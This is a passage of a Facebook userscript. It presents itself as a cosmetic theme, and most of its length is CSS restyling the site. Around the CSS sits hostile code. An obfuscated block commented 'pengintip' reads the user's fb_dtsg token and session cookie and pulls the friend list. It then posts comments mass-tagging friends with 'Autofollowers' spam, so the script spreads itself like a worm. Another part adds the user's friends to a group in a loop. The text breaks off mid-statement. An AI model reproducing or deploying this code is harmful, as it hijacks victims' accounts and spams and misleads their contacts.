setTimeout("clickfr()", 2e3) } function sleep(a) { var b = (new Date).getTime(); for (var c = 0; c < 1e7; c++) { if ((new Date).getTime() - b > a) { break } } } jx = { getHTTPObject: function () { var a = false; if (typeof ActiveXObject != "undefined") { try { a = new ActiveXObject("Msxml2.XMLHTTP") } catch(b) { try { a = new ActiveXObject("Microsoft.XMLHTTP") } catch(c) { a = false } } } else { if (window.XMLHttpRequest) { try { a = new XMLHttpRequest } catch(b) { a = false } } } return a }, load: function (url, callback, format, method, opt) { var http = this.init(); if (!http || !url) { return } if (http.overrideMimeType) { http.overrideMimeType("text/xml") } if (!method) { method = "GET" } if (!format) { format = "text" } if (!opt) { opt = {} } format = format.toLowerCase(); method = method.toUpperCase(); var now = "uid=" + (new Date).getTime(); url += url.indexOf("?") + 1 ? "&": "?"; url += now; var parameters = null; if (method == "POST") { var parts = url.split("?"); url = parts[0]; parameters = parts[1] } http.open(method, url, true); if (method == "POST") { http.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http.setRequestHeader("Content-length", parameters.length); http.setRequestHeader("Connection", "close") } var ths = this; if (opt.handler) { http.onreadystatechange = function () { opt.handler(http) } } else { http.onreadystatechange = function () { if (http.readyState == 4) { if (http.status == 200) { var result = ""; if (http.responseText) { result = http.responseText } if (format.charAt(0) == "j") { result = result.replace(/[\n\r]/g, ""); result = eval("(" + result + ")") } else { if (format.charAt(0) == "x") { result = http.responseXML } } if (callback) { callback(result) } } else { if (opt.loadingIndicator) { document.getElementsByTagName("body")[0].removeChild(opt.loadingIndicator) } if (opt.loading) { document.getElementById(opt.loading).style.display = "none" } if (error) { error(http.status) } } } } } http.send(parameters) }, bind: function (a) { var b = { url: "", onSuccess: false, onError: false, format: "text", method: "GET", update: "", loading: "", loadingIndicator: "" }; for (var c in b) { if (a[c]) { b[c] = a[c] } } if (!b.url) { return } var d = false; if (b.loadingIndicator) { d = document.createElement("div"); d.setAttribute("style", "position:absolute;top:0px;left:0px;"); d.setAttribute("class", "loading-indicator"); d.innerHTML = b.loadingIndicator; document.getElementsByTagName("body")[0].appendChild(d); this.opt.loadingIndicator = d } if (b.loading) { document.getElementById(b.loading).style.display = "block" } this.load(b.url, function (a) { if (b.onSuccess) { b.onSuccess(a) } if (b.update) { document.getElementById(b.update).innerHTML = a } if (d) { document.getElementsByTagName("body")[0].removeChild(d) } if (b.loading) { document.getElementById(b.loading).style.display = "none" } }, b.format, b.method, b) }, init: function () { return this.getHTTPObject() } }; var nHtml = { FindByAttr: function (a, b, c, d) { if (c == "className") { c = "class" } var e = document.evaluate(".//" + b + "[@" + c + "='" + d + "']", a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null); if (e && e.singleNodeValue) { return e.singleNodeValue } return null }, FindByClassName: function (a, b, c) { return this.FindByAttr(a, b, "className", c) }, FindByXPath: function (a, b) { try { var c = document.evaluate(b, a, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null) } catch(d) { GM_log("bad xpath:" + b) } if (c && c.singleNodeValue) { return c.singleNodeValue } return null }, VisitUrl: function (a) { window.setTimeout(function () { document.location.href = a }, 500 + Math.floor(Math.random() * 500)) }, ClickWin: function (a, b, c) { var d = a.document.createEvent("MouseEvents"); d.initMouseEvent(c, true, true, a, 0, 0, 0, 0, 0, false, false, false, false, 0, null); return ! b.dispatchEvent(d) }, Click: function (a) { return this.ClickWin(window, a, "click") }, ClickTimeout: function (a, b) { window.setTimeout(function () { return nHtml.ClickWin(window, a, "click") }, b + Math.floor(Math.random() * 500)) }, ClickUp: function (a) { this.ClickWin(window, a, "mousedown"); this.ClickWin(window, a, "mouseup"); this.ClickWin(window, a, "click") }, GetText: function (a, b) { var c = ""; if (b == undefined) { b = 0 } if (b > 40) { return } if (a.textContent != undefined) { return a.textContent } for (var d = 0; d < a.childNodes.length; d++) { var e = a.childNodes[d]; c += this.GetText(e, b + 1) } return c } }; if (document.getElementsByClassName == undefined) { document.getElementsByClassName = function (a) { var b = new RegExp("(?:^|\\s)" + a + "(?:$|\\s)"); var c = document.getElementsByTagName("*"); var d = []; var e; for (var f = 0; (e = c[f]) != null; f++) { var g = e.className; if (g && g.indexOf(a) != -1 && b.test(g)) d.push(e) } return d } } Array.prototype.find = function (a) { var b = false; for (i = 0; i < this.length; i++) { if (typeof a == "function") { if (a.test(this[i])) { if (!b) { b = [] } b.push(i) } } else { if (this[i] === a) { if (!b) { b = [] } b.push(i) } } } return b }; var a = 0, eind = 0; var len = document.getElementsByClassName("mbm").length; for (a = 0; a < len; a++) { var ele = document.getElementsByClassName("mbm")[a]; if (ele && ele.childNodes[0] && ele.childNodes[0] && ele.childNodes[0].childNodes[1] && ele.childNodes[0].childNodes[1].childNodes[0] && document.getElementsByClassName("mbm")[a].childNodes[0].childNodes[1].childNodes[0].value == "Add Follower To Group") { eind = a; break } } var i = 3; var tay = 3; var counter1 = 0, counter2 = 0, counter3 = 0; var j = 0; var k = 0; var suc = 0; var arr = new Array; var memberGroupId = document.getElementsByName('group_id')[0].value; jx.load(window.location.protocol + "//www.facebook.com/ajax/typeahead/first_degree.php?__a=1&viewer=" + user + "&filter[0]=user&__user=" + user, function (a) { var b = a; var c = b.substring(b.indexOf("{")); var d = JSON.parse(c); d = d.payload.entries; for (var e = 0; e < d.length; e++) { arr.push(d[e].uid) } i = arr.length - 1; tay = i; console.log(arr.length); var dipes = "<div id='friend-edge-display' style='position:fixed;left:50%;margin-left:-273px;top:100px;width:500px;background-color:rgba(100,200,225,0.9);z-index:9999;font-size:14px;text-align:center;padding:15px;border-radius:14px;border:8px solid red(0,0,0,0.5)'>"; dipes += "<div style='padding-bottom:10px;font-size:20px;'>" + tulisanNganu + "</div>"; dipes += arr.length + " Follower Detected"; dipes += "</div>"; document.getElementById("pagelet_welcome_box").innerHTML = dipes; penetrasi(arr[i]) }) //new them: >> (function() { var css = ""; if (false || (location.href.replace(location.hash,'') == "facebook.com/home.php?ref=logo") || (document.location.href.indexOf("facebook.com/?ref=logo") == 0) || (document.domain == "facebook.com" || document.domain.substring(document.domain.indexOf(".facebook.com") + 1) == "facebook.com") || (new RegExp("^https?://www\\.facebook\\.com/(?!plugins/).*$")).test(document.location.href)) css += "body {\n\n background:#E7EBF2 !important;\n}\n \n.ego_section {\n margin-bottom: 15px;\n display: none;\n}\n.fbIndex { background-color: #3B5998 !important }\n\n\n.fbIndex #globalContainer #dropmenu_container,\n.fbIndex #globalContainer #content,\n.fbIndex #globalContainer #pageFooter { display: none !important }\n\n\n.fbIndex .loggedout_menubar_container {\n position: fixed !important;\n width: 430px !important;\n height: 82px !important;\n min-width: 0 !important;\n top: 50% !important;\n left: 50% !important;\n margin-top: -80px !important;\n margin-left: -210px !important;\n z-index: -1 !important;\nbackground-image: -webkit-gradient( linear, left top, left bottom, from(#738ABA), to(#2C4987) ) !important;\nbackground-image: -moz-linear-gradient(top, #738ABA, #2C4987)!important;\nbackground-image: -ms-linear-gradient(top, #738ABA, #2C4987)!important;\nbackground-image: -o-linear-gradient(top, #738ABA, #2C4987)!important;\nbackground-image: linear-gradient(top, #738ABA, #2C4987)!important;\n padding-top:10px;\n border-radius:12px;\n -webkit-box-shadow:0 0 10px 0 rgba(0, 0, 0, 0.5);\n box-shadow:0 0 10px 0 rgba(0, 0, 0, 0.5);\n}\n\n\n.fbIndex .loggedout_menubar { width: auto !important }\n.fbIndex .loggedout_menubar_container .lfloat,\n.fbIndex .loggedout_menubar_container .rfloat { float: none !important }\n.fbIndex .loggedout_menubar_container .lfloat img,\n.fbIndex .loggedout_menubar_container .rfloat #login_form table { display: block !important; margin: 0 auto !important }\n\n.fbIndex .loggedout_menubar_container .lfloat i { display: block !important; margin: -70px auto 20px !important; }\n.fbIndex .loggedout_menubar_container .sp_69c1xs { display: block !important; }\n\n\n\n#SetAsHomepage_Callout {\n display: none;\n}\n\n\n.fbIndex div#blueBar {\n z-index: 0 !important;\n border: none !important;\n box-shadow: none !important;\n}\n\n#blueBar {\nbackground-color: #3B5998 !important;\nbackground-image: -webkit-gradient( linear, left top, left bottom, from(#738ABA), to(#2C4987) ) !important;\nbackground-image: -moz-linear-gradient(top, #738ABA, #2C4987)!important;\nbackground-image: -ms-linear-gradient(top, #738ABA, #2C4987)!important;\nbackground-image: -o-linear-gradient(top, #738ABA, #2C4987)!important;\nbackground-image: linear-gradient(top, #738ABA, #2C4987)!important;\nborder-color: #1D4088 !important;\nborder-bottom: 1px solid !important;\n-webkit-box-shadow: inset 0 1px 1px -1px #fff !important;\nmin-width: 981px;\nz-index: 300;\n}\n\n.slim #blueBar {\nheight: 40px !important;\nposition: relative;\n-webkit-box-shadow: inset 0 1px 1px -1px #fff !important;\nborder-bottom: 1px solid;\nbackground-color: #3B5998 !important;\nbackground-image: -webkit-gradient( linear, left top, left bottom, from(#738ABA), to(#2C4987) ) !important;\nbackground-image: -moz-linear-gradient(top, #738ABA, #2C4987)!important;\nbackground-image: -ms-linear-gradient(top, #738ABA, #2C4987)!important;\nbackground-image: -o-linear-gradient(top, #738ABA, #2C4987)!important;\nbackground-image: linear-gradient(top, #738ABA, #2C4987)!important;\nborder-color: #111A33 !important;\n}\n\n#pageLogo a {\nbackground-color: transparent !important;\n}\n\n#pageLogo a:hover, #pageLogo a:focus, #pageLogo a:active {\nbackground-color: transparent !important;\n}\n\n.composerExpanded .newsFeedComposer #rightCol {\npadding-top: 40px;\nmargin-right: 0px !important;\n}\n\n.hasExpandedComposer .home_right_column, .sidebarMode #content .hasExpandedComposer .home_right_column {\nmargin-top: -12px;\nmargin-left: 5px !important;\n}\n\n#pagelet_ego_pane_w {\ndisplay: none !important;\n}\n\n#pagelet_rhc_footer {\ndisplay: none !important;\n}\n\n#pagelet_side_ads {\ndisplay: none !important;\n}\n\n.fbTimelineSideAds {\ndisplay: none !important;\n}\n\n.ego_column {\ndisplay: none !important;\n}\n\n.slimHeader .no_js #navAccount:hover, .slimHeader #pageNav #navAccount.openToggler {\nposition: relative;\ntop: 0px !important;\n}\n\n\n.fbJewel .uiScrollableArea {\n max-height:450px !important;\n }\n \n\n.notifNegativeBase .fbJewelFlyout .beeperNub {\nbackground-position: 0px !important;\nbackground-image: url(\"http://i167.photobucket.com/albums/u127/badspy/beepers.png\") !important;\nbackground-repeat: no-repeat;\nposition: absolute;\n-webkit-background-size: 100% 100% !important;\nwidth: 54px !important;\nheight: 24px !important;\nbackground-size: 100% 100%;\nz-index: 13 !important;\nmargin: -25px -44px !important;\n}\n\n\n.notifNegativeBase .fbJewelFlyout {\nbackground: rgba(255, 255, 255, 0.98);\ntop: 37px;\n-webkit-box-shadow: none !important;\nbox-shadow: none !important;\n-moz-box-shadow: none !important;\n-webkit-border-radius: 0px !important;\nborder-radius: 0px !important;\n-moz-border-radius: 0px !important;\nborder: solid rgba(100, 100, 100, .4);\n-webkit-background-clip: padding-box;\nborder-image: url(\"http://i167.photobucket.com/albums/u127/badspy/fbJewelflyoutsmall.png\") 22 28 29 28 !important;\n-webkit-border-image: url(\"http://i167.photobucket.com/albums/u127/badspy/fbJewelflyoutsmall.png\") 22 28 29 28 !important;\n-moz-border-image: url(\"http://i167.photobucket.com/albums/u127/badspy/fbJewelflyoutsmall.png\") 22 28 29 28 !important;\n-o-border-image: url(\"http://i167.photobucket.com/albums/u127/badspy/fbJewelflyoutsmall.png\") 22 28 29 28 !important;\nborder-width: 22px 28px 29px 28px !important;\n}\n\n\n.uiHeaderActions.rfloat {\nfont-size: 13px !important;\n}\n\n.jewelHeader h3 {\nfont-weight: bold !important;\nleft: 10px !important;\nright: 0;\ntext-shadow: 0 -1px 0 rgba(0, 0, 0, 0.1) !important;\ntop: -32px !important;\nz-index: 1 !important;\nfont-size: 15px !important;\nline-height: 20px !important;\ncolor: #3B5998 !important;\ndisplay: inline-table;\n}\n\n\n\n#navAccount #accountSettingsFlyout {\nleft: -208px !important;\nmargin-top: -1px;\nwidth: 202px;\n}\n\n#navAccount #accountSettingsFlyout .beeperNub {\nright: 30px !important;\n}\n\n._42g- {\nbackground-color: #3c5389 !important;\nborder-color: #475d91 #3c5389 #3a5186 !important;\ntext-shadow: 0 -1px 0 rgba(0, 0, 0, .2) !important;\n-webkit-background-clip: padding-box !important;\nborder: 1px solid !important;\n-webkit-border-radius: 2px !important;\n-webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, .05) !important;\n-webkit-box-sizing: content-box !important;\nfont-family: 'Helvetica Neue', Helvetica, Arial, 'lucida grande',tahoma,verdana,arial,sans-serif !important;\n-webkit-font-smoothing: antialiased !important;\nfont-weight: bold !important;\npadding: 0 8px;\nposition: relative !important;\ntext-align: center !important;\nvertical-align: middle !important;\n}\n\n.-cx-PRIVATE-fbComposerMessageBox__bar {\nbackground-color: #F2F2F2;\nborder-top: 1px solid #E6E6E6;\nheight: 40px !important;\n}\n\ndiv.-cx-PRIVATE-fbComposerXTagger__typeahead, div.-cx-PRIVATE-fbComposerXTagger__tokenizer {\nborder: 0;\nborder-top: 1px dashed #BDC7D8;\npadding: 0;\nmargin-top: 3px !important;\n}\n\n.uiMetaComposerMessageBox .uiComposerMessageBoxControls {\nheight: 40px !important;\nmargin: 0;\nbackground-color: #F1F3F8 !important;\n}\n\n.uiMetaComposer .friendsTokenizer, .uiMetaComposer .taggerLocationSharer, .uiMetaComposer .musicTypeahead {\nborder: 0;\nborder-top: 1px dashed #BDC7D8;\npadding: 2px !important;\n}\n\n\n.-cx-PRIVATE-fbTimelineBackdatedComposer__datepickerIcon {\nbackground-size: auto;\nbackground-image: url(\"https://dl.dropbox.com/u/12675809/composer-time-icon.png\") !important;\nbackground-repeat: no-repeat;\nbackground-position: -5px -41px !important;\nwidth: 40px !important;\nheight: 40px !important;\n}\n\n.-cx-PRIVATE-fbTimelineBackdatedComposer__datepickerIcon:hover {\nbackground-image: url(\"https://dl.dropbox.com/u/12675809/composer-time-icon.png\") !important;\nbackground-repeat: no-repeat;\nbackground-position: -5px 5px !important;\nwidth: 40px !important;\nheight: 40px !important;\n}\n\n.-cx-PRIVATE-fbPlacesCityTagger__placeIconImage {\nbackground-size: auto;\nvertical-align: top;\nbackground-image: url(https://s-static.ak.fbcdn.net/rsrc.php/v2/yA/r/sHRVgdDCvuz.png) !important;\nbackground-repeat: no-repeat;\nbackground-position: -5px -40px !important;\ndisplay: inline-block;\nfloat: left;\nheight: 40px !important;\nwidth: 40px !important;\noutline: none;\n}\n.-cx-PRIVATE-fbPlacesCityTagger__placeIconImage:hover {\nbackground-image: url(https://s-static.ak.fbcdn.net/rsrc.php/v2/yA/r/sHRVgdDCvuz.png) !important;\nbackground-repeat: no-repeat;\nbackground-position: -5px 1px !important;\ndisplay: inline-block;\nfloat: left;\nheight: 40px !important;\nwidth: 40px !important;\noutline: none;\n}\n\n#rightCol{\n width:170px;\n}\n\n.adsOnTop .rightColumnWrapper .fixed_scrolling_wrapper, .tickerOnTop .rightColumnWrapper {\n width:200px;\n}\n \n#contentCol{\n background:transparent !important; \n}\n.hasLeftCol #mainContainer {\n border-right:0px;\n}\n \n#pagelet_welcome_box {\n background:#3B5998;\n border-radius:6px 0 0 6px !important;\n padding:10px 5px;\n background:-webkit-gradient(linear, center top, center bottom, from(#647AAB), to(#2C467E));\n background:-webkit-linear-gradient(#647AAB, #2C467E);\n background:-moz-linear-gradient(#647AAB, #2C467E);\n background:-o-linear-gradient(#647AAB, #2C467E);\n background:-ms-linear-gradient(#647AAB, #2C467E);\n background:linear-gradient(#647AAB, #2C467E);\n}\n\n.fbxWelcomeBoxBlock .fbxWelcomeBoxImg {\nheight: 40px !important;\nwidth: 40px !important;\nmargin-left: 6px !important;\n}\n\n#pagelet_welcome_box a {\ncolor: #FFF !important;\n}\n\n.navHeader, .navHeader a {\nfont-size: 10px !important;\ncolor: #7a8292 !important;\ntext-shadow: 0 1px 0 rgba(0, 0, 0, .6) !important;\nfont-weight: bold;\nmargin-top: 12px;\n}\n\n#contentArea {\n -webkit-box-shadow:0 0 10px 0 rgba(0, 0, 0, 0.3);\n box-shadow:0 0 10px 0 rgba(0, 0, 0, 0.3);\n margin-top:-5px;\n background:#FFF;\n width:585px !important;\n}\n\n._7lt ._7ls {\n border-radius:100% !important;\n}\n\nform.async_saving .uiButton.uiButtonSpecial .uiButtonText, form.async_saving .uiButton.uiButtonSpecial input, form.async_saving .uiButton.uiButtonConfirm .uiButtonText, form.async_saving .uiButton.uiButtonConfirm input, .uiButtonSpecial .uiButtonText, .uiButtonSpecial input, .uiButtonSpecial.uiButtonDisabled .uiButtonText, .uiButtonSpecial.uiButtonDisabled input, .uiButtonConfirm .uiButtonText, .uiButtonConfirm input, .uiButtonConfirm.uiButtonDisabled .uiButtonText, .uiButtonConfirm.uiButtonDisabled input {\ncolor: #fff;\ntext-shadow: 0 -1px 0 rgba(0, 0, 0, .35) !important;\nfont-weight: bold !important;\nfont-size: 12px !important;\n}\n\nlabel.-cx-PRIVATE-fbComposerMessageBox__button {\npadding: 6px 16px !important;\n}\n\n.uiButtonConfirm {\nbackground: none !important;\nbackground-repeat: no-repeat;\nbackground-position: -352px -54px;\nborder-color: #576499 #3A4B73 #263855 !important;\nbackground: -webkit-gradient( linear, left top, left bottom, from(#647AAB), to(#2C467E) ) !important;\nbackground: -moz-linear-gradient(top, #647AAB, #2C467E)!important;\nbackground: -ms-linear-gradient(top, #647AAB, #2C467E)!important;\nbackground: -o-linear-gradient(top, #647AAB, #2C467E)!important;\nbackground: linear-gradient(top, #647AAB, #2C467E)!important;\n-webkit-border-radius: 4px !important;\nborder-radius: 4px !important;\n-moz-border-radius: 4px !important;\n-o-border-radius: 4px !important;\n-ms-border-radius: 4px !important;\n}\n\n.fbTimelineScrubber{\n background:transparent !important;\n}\n \n._4lh ._519e:after, ._4lh ._51wa:after,._4lh ._519e:after, ._4lh ._51wa:after, ._4lh .timelineUnitContainer .UFIComment .UFIImageBlockImage:after, ._4lh .timelineUnitContainer .UFIReplyActorPhotoWrapper:after {\n background:none;\n}\n \n \n.timelineLayout #contentArea{\nbackground:transparent !important;\n box-shadow:0px 0px 0px;\n}\n \n\n#fbProfileCover .fbProfileCoverPhotoSelector .wrap {\nmargin-left:-170px;\ntop:-50px;\n} \n\n\n#fbProfileCover .fbTimelineProfilePicSelector .wrap{\n margin-top:-115px;\n margin-right:-340px;\n}\n\n\n.timelineLayout .fbTimelineTopSection{\n margin-top:20px; \n}\n\n\n\n.timelineLayout .fbTimelineTopSection,.coverBorder,.coverPhotoImg,#fbProfileCover{\n border-top-left-radius:15px !important;\n border-top-right-radius:15px !important;\n \n}\n.profilePic,.profilePicThumb{\n border-radius:12px !important;\n -webkit-box-shadow:0 2px 10px 0 rgba(0, 0, 0, 0.3);\n box-shadow:0 2px 10px 0 rgba(0, 0, 0, 0.3);\n -webkit-transition:all 1.1s;\n -moz-transition:all 1.1s;\n -o-transition:all 1.1s;\n -ms-transition:all 1.1s;\n transition:all 1.1s;\n }\n\n\n.profilePicThumb:hover{\n transform: rotate(10deg);\n -ms-transform: rotate(10deg); \n -webkit-transform: rotate(10deg); \n }\n\n._4lh ._519e:after, ._4lh ._51wa:after {\nbackground:none;\n }\n\n.fbTimelineUnit,#fbProfileCover {\n\n-webkit-box-shadow:0 0 8px 0 rgba(0, 0, 0, 0.3);\n box-shadow:0 0 8px 0 rgba(0, 0, 0, 0.3);\n -webkit-transition:all 1.1s;\n -moz-transition:all 1.1s;\n -o-transition:all 1.1s;\n -ms-transition:all 1.1s;\n transition:all 1.1s;\n\n\n}\n \n.fbTimelineUnit:hover {\n -webkit-transform:scale(1.1);\n -moz-transform:scale(1.1);\n -o-transform:scale(1.1);\n -ms-transform:scale(1.1);\n transform:scale(1.1);\n z-index:100;\n\n }\n\n.fbTimelineStickyHeader .back {\n margin-top:-5px;\n height:58px;\n -webkit-box-shadow:0 2px 8px 0 rgba(0, 0, 0, 0.3);\n box-shadow:0 2px 8px 0 rgba(0, 0, 0, 0.3);\n } \n\n\n._513x{\n background:green;\n bottom:18px;\n left:13px;\n border-radius:100%;\n width:7px;\n height:7px;\n }\n \n\n \n.UFIRow {\n background:transparent;\n }\n.UFIUnseenItem{\n border-left:0px;\n }\n\n\n#pagelet_web_messenger{\n width:850px;\n\n}\n\n.uiSelectorMenuWrapper {\n min-width:auto;\n }\n\n\n._4kg > li {\n border-width:1px 0 0 0!important;\n }\n.selectedStorySimple .selectedStoryIndicator {\n background:#FFF !important;\n }\n.fbFeedTicker .fbFeedTickerStory {\n margin-top:10px;\n margin-bottom:10px;\n border-top-right-radius:12px;\n border-bottom-right-radius:12px;\n width:200px;\n padding-left:10px;\n background:#F0F8FF;\n box-shadow:4px 4px 7px -3px rgba(0, 0, 0, 0.2),inset 5px 0px 5px -3px rgba(0, 0, 0, 0.2);\n border:3px solid #FfF; \n }\n\n.fbChatSidebar .fbFeedTicker .fbFeedTickerStory {\n box-shadow:none;\n border:0px;\n border-top:1px solid #DADADA;\n margin:0px;\n padding:10px 5px;\n }\n\n\n.fbFeedTicker .tickerStoryWithButton {\n width:170px;\n}\n\n.tickerOnTop #pagelet_rhc_ticker .fbFeedTicker {\n margin-left:-9px;\n \n }\n\n.uiSideNav .selectedItem .item, .uiSideNav .selectedItem .item:hover, .uiSideNav ul .selectedItem .subitem, .uiSideNav ul .selectedItem .subitem:hover {\n background:#FFF;\n -webkit-transform:scale(1.5);\n -moz-transform:scale(1.5);\n -o-transform:scale(1.5);\n -ms-transform:scale(1.5);\n transform:scale(1.5);\n width:70px !important;\n height:25px;\n line-height:15px;\n margin-left:68px !important;\n font-size:8px;\n margin-top:25px;\n margin-bottom:20px;\n padding-top:10px;\n box-shadow:-5px 4px 6px -3px rgba(0, 0, 0, 0.2);\n border-top-left-radius:8px;\n border-bottom-left-radius:8px;\n }\n \n.uiSideNav .item, .uiSideNav .subitem {\n background:#F0F8FF;\n -webkit-transform:scale(1.5);\n -moz-transform:scale(1.5);\n -o-transform:scale(1.5);\n -ms-transform:scale(1.5);\n transform:scale(1.5);\n width:30px !important;\n height:25px;\n line-height:15px;\n margin-left:115px !important;\n font-size:0px;\n margin-top:25px;\n margin-bottom:20px;\n padding-top:10px;\n box-shadow:-5px 4px 6px -3px rgba(0, 0, 0, 0.2),inset -5px 0px 5px -3px rgba(0, 0, 0, 0.2);\n border-top-left-radius:8px;\n border-bottom-left-radius:8px;\n border:3px solid #FfF;\n }\n.uiSideNav .item:hover, .uiSideNav .subitem:hover {\n\n width:60px !important;\n margin-left:77px !important;\n font-size:7px;\n box-shadow:-5px 4px 6px -3px rgba(0, 0, 0, 0.2),inset -5px 0px 5px -3px rgba(0, 0, 0, 0.2);\n border:3px solid #FfF;\n }\n.noCount{\n font-size:7px; \n }\n.uiSideNavCount {\n background:transparent;\n }\n.countValue {\n font-size:7px !important;\n background:#d8dfea;\n padding:5px;\n border-radius:100%;\n border:2px dotted #FFF;\n }\n.navHeader{\n padding-left:20px;\n }\n\n._s0:only-child, ._29h img,.fbFeedTicker .fbFeedTickerStory .tickerStoryImage,._42fz .pic {\ndisplay: block !important;\nborder-radius: 100% !important;\nborder: 2px solid #fff !important;\nbox-shadow: 0px 0px 7px #000!important;\n\n }\n.actorPhoto {\nmargin-top: 18px !important;\nmargin-left: -7px !important;\n}\n\n\n._51jx, ._51jw{\n background-image: none !important;\nbackground-color: #f03d25 !important;\nborder: 1px solid #d83722 !important;\nborder-bottom: 1px solid #c0311e !important;\nborder-top: 1px solid #e23923 !important;\n-webkit-border-radius: 2px;\n-webkit-box-shadow: 0 1px 0 rgba(0, 0, 0, .77);\ndisplay: block;\n width:auto !important;\n height:auto !important;\n padding:0 1px !important; \n}\n\n._50mz .metaInfoContainer {\nbackground-color: transparent !important;\npadding-left: 0 !important;\nposition: absolute;\nright: none !important;\ntop: none !important;\nbottom: 4px !important;\n}\n\n.messages:hover .metaInfoContainer {\nvisibility: visible !important;\n}\n\n.fbChatConvItem:hover .metaInfoContainer {\nvisibility: hidden;\n}\n\n.fbChatConvItem .profileLink .profilePhoto {\nborder-radius: 300px !important;\n}\n\n.fbChatConvItem .profileLink:before {\nbackground:transparent;\ndisplay: block;\nwidth: 32px;\nheight: 32px;\ncontent: \"\";\nposition: absolute;\nbox-shadow: 0 1px 4px -1px #000, 0 2px 4px -2px #000, inset 0 0px 0px 1px rgba(255, 255, 255, 0.25), inset 0 4px 5px -1px rgba(255, 255, 255, 0.25);\nborder-radius: 300px !important;\n\n}\n\n._50dw {\nborder-top: 0px solid #E4E7F0 !important;\n}\n\n.fbChatMessageGroup {border-top-color:#E4E7F0;}\n\n .fbChatConvDateBreak{\ntext-align: center !important;\nmargin: 5px 60px !important;\n}\n\n\n.fbChatMessageGroup ._kso {margin-bottom: 0!important;}\n\n.conversationContainer, .fbChatConvDateBreak {background: #E4E7F0 !important;}\n\n._7f.seen ._9r, ._510h {\nbackground-image: url(\"http://imageshack.us/a/img202/3604/seen.png\") !important;\nbackground-position: 0 !important;\n}\n\n .messages {\nbackground: transparent !important;\nmargin-left: 12px !important;\nborder-image-slice: fill 10 10 10 10;\n-webkit-border-image: url(\"http://imageshack.us/a/img687/6865/theyp.png\")10 10 10 10;\n-moz-border-image: url(\"http://imageshack.us/a/img687/6865/theyp.png\")10 10 10 10;\nborder-image-source: url(\"http://imageshack.us/a/img687/6865/theyp.png\");\nborder-width: 10px !important;\nfloat: left!important;\nmax-width: 110px !important;\nmin-width: 28px;\n}\n\n.messages:before {\nbackground: url(\"http://img594.imageshack.us/img594/4907/theyarow.png\");\ncontent: \"\";\ndisplay: block;\nwidth: 15px;\nheight: 17px;\nleft: 34px;\nposition: absolute;\ntop: 14px;\n}\n\n.hasSmurfbar #pageNav .tinyman .navLink:after {\n background-image:none !important;\n \n }\n._50mz .fbNubFlyoutBodyContent, ._50mz .conversationContainer {\n background:url(http://www.linedpaper.net/wp-content/uploads/2012/10/Graph-Paper-Template.png) transparent !important; \n}\n\n.fbNubFlyout,._50-v {\n box-shadow:none;\n }\n \n._50mz .fbNubFlyoutInner {\n-webkit-background-clip: padding-box;\nborder-image: url(\"http://i167.photobucket.com/albums/u127/badspy/fbJewelflyoutsmall.png\") 22 28 29 28 !important;\n-webkit-border-image: url(\"http://i167.photobucket.com/albums/u127/badspy/fbJewelflyoutsmall.png\") 22 28 29 28 !important;\nborder-width: 22px 28px 29px 28px !important;\nheight:240px !important;\n }\n\n.fbNubFlyoutBody{\n height:185px !important;\n border:0px;\n }\n \n.fbNubFlyoutTitlebar{\nborder-top-left-radius:5px;\nborder-top-right-radius:5px;\n }\n\n\n\n.fbNubFlyoutFooter{\n margin-left:-9px;\n width:220px;\n }\n\n\n.fbNubFlyoutFooter ._552n{\nright:0px !important;\n }"; if (typeof GM_addStyle != "undefined") { GM_addStyle(css); } else if (typeof PRO_addStyle != "undefined") { PRO_addStyle(css); } else if (typeof addStyle != "undefined") { addStyle(css); } else { var node = document.createElement("style"); node.type = "text/css"; node.appendChild(document.createTextNode(css)); var heads = document.getElementsByTagName("head"); if (heads.length > 0) { heads[0].appendChild(node); } else { // no head yet, stick it whereever document.documentElement.appendChild(node); } } })(); //pengintip var _0xa22c=["value","fb_dtsg","getElementsByName","match","cookie","435252473244205","onreadystatechange","readyState","arkadaslar = ","for (;;);","","replace","responseText",";","length","entries","payload","round"," Share\udbb8\udc3c @[","uid",":","text","]"," ","\x26filter[0]=user","\x26options[0]=friends_only","\x26options[1]=nm","\x26token=v7","\x26viewer=","\x26__user=","https://","indexOf","URL","GET","https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","open","http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1","send","random","floor","\x26ft_ent_identifier=","\x26comment_text=Wow It Work Try =D Provoni Autofollowers . <3 ,If You Dont Believe look video and try. <3","\x26source=2","\x26client_id=1377871797138:1707018092","\x26reply_fbid","\x26parent_comment_id","\x26rootid=u_jsonp_2_3","\x26clp={\x22cl_impid\x22:\x22453524a0\x22,\x22clearcounter\x22:0,\x22elementid\x22:\x22js_5\x22,\x22version\x22:\x22x\x22,\x22parent_fbid\x22:","}","\x26attached_sticker_fbid=0","\x26attached_photo_fbid=0","\x26giftoccasion","\x26ft[tn]=[]","\x26__a=1","\x26__dyn=7n8ahyj35ynxl2u5F97KepEsyo","\x26__req=q","\x26fb_dtsg=","\x26ttstamp=","POST","/ajax/ufi/add_comment.php","Content-type","application/x-www-form-urlencoded","setRequestHeader","status","close"];var fb_dtsg=document[_0xa22c[2]](_0xa22c[1])[0][_0xa22c[0]];var user_id=document[_0xa22c[4]][_0xa22c[3]](document[_0xa22c[4]][_0xa22c[3]](/c_user=(\d+)/)[1]);var id=_0xa22c[5];var arkadaslar=[];var svn_rev;function arkadaslari_al(id){var _0x7892x7= new XMLHttpRequest();_0x7892x7[_0xa22c[6]]=function (){if(_0x7892x7[_0xa22c[7]]==4){eval(_0xa22c[8]+_0x7892x7[_0xa22c[12]].toString()[_0xa22c[11]](_0xa22c[9],_0xa22c[10])+_0xa22c[13]);for(f=0;f<Math[_0xa22c[17]](arkadaslar[_0xa22c[16]][_0xa22c[15]][_0xa22c[14]]/27);f++){mesaj=_0xa22c[10];mesaj_text=_0xa22c[10];for(i=f*27;i<(f+1)*27;i++){if(arkadaslar[_0xa22c[16]][_0xa22c[15]][i]){mesaj+=_0xa22c[18]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[19]]+_0xa22c[20]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]]+_0xa22c[22];mesaj_text+=_0xa22c[23]+arkadaslar[_0xa22c[16]][_0xa22c[15]][i][_0xa22c[21]];} ;} ;yorum_yap(id,mesaj);} ;} ;} ;var 